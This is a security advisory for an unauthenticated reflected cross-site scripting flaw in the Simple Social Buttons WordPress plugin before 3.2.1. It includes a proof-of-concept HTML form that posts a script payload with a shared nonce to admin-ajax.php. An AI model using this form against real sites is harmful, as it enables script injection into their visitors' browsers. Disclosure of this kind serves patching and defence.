Simple Social Buttons < 3.2.1 – Unauthenticated Reflected Cross-Site Scripting

Description

The version 3.2.0 attempted to fix a reflected Cross-Site Scripting issue, by adding a CSRF check, which does not fully remediate it as unauthenticated users will all have the same nonce generated (and valid for 12h to 24h, or 2 WP ticks). Only unauthenticated users can be attacked with this issue.

The plugin also added further sanitisation in other areas in 3.2.1.

Proof of Concept

As an unauthenticated user, go to a page where the Facebook share is active, view the source to get the fb_share_nonce.
Replace the value of the security parameter below by the nonce retreived, as well as the URL of the domain, open the file with a web browser and click on Submit.

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="ssb_facebook_shares_update" />
      <input type="hidden" name="security" value="[NONCE]" />
      <input type="hidden" name="share_counts" value='<script>alert(/XSS/)</script>' />
      <input type="hidden" name="post_id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>